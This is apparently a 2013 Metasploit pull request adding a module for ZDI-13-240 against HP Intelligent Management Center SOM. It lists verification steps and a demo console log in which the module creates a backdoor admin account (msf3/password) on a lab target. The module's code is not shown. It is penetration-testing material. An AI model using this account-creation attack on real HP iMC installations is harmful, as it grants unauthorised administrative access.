rapid7/metasploit-framework — pull request #2570 by jvazquez-r7 (2013-10-23 21:05:30+00:00)
Title: Add module for ZDI-13-240

Tested successfully on HP Intelligent Management Center 5.2 E0401 and 5.1 E202 with SOM 5.2 E0401 and SOM 5.1 E0201 over Windows 2003 SP2. The module creates a user with "Admin account" permissions.

**Verification**

- [ ] Download a vulnerable HP iMC from http://h17007.www1.hp.com/us/en/networking/products/network-management/IMC_ES_Platform/index.aspx#.Umg5-JRASaI
- [ ] Download a vulnerable SOM version from http://h17007.www1.hp.com/us/en/networking/products/network-management/IMC_SOM_Software/#.Umg6CpRASaI
- [ ] Install the things on W2003SP2
- [ ] Use the module as showed in the demo, should allow to create a backdoor account with user admin permissions.
- [ ] Use the credentials to log into http://target/servicedesk/ServiceDesk.jsp

**DEMO**

```
msf auxiliary(hp_imc_som_create_account) > reload
[*] Reloading module...
msf auxiliary(hp_imc_som_create_account) > run

[*] 192.168.172.133:8080 - Trying to find the service desk service strong name...
[+] 192.168.172.133:8080 - service desk strong number found: 2E4B2C0D74BA9BB13F0032BB3893AC23
[*] 192.168.172.133:8080 - Trying to find the AccountService strong name...
[+] 192.168.172.133:8080 - AccountService strong number found: A5D1CB566D99E2ACF40FD05489FF91BC
[*] 192.168.172.133:8080 - Trying to create account msf3...
[+] 192.168.172.133:8080 - Account msf3/password created successfully.
[*] 192.168.172.133:8080 - Use it to log into http://192.168.172.133:8080/servicedesk/ServiceDesk.jsp
[*] Auxiliary module execution completed
msf auxiliary(hp_imc_som_create_account) > creds

Credentials
===========

host port user pass type active?
---- ---- ---- ---- ---- -------
192.168.172.133 8080 msf3 password password true
```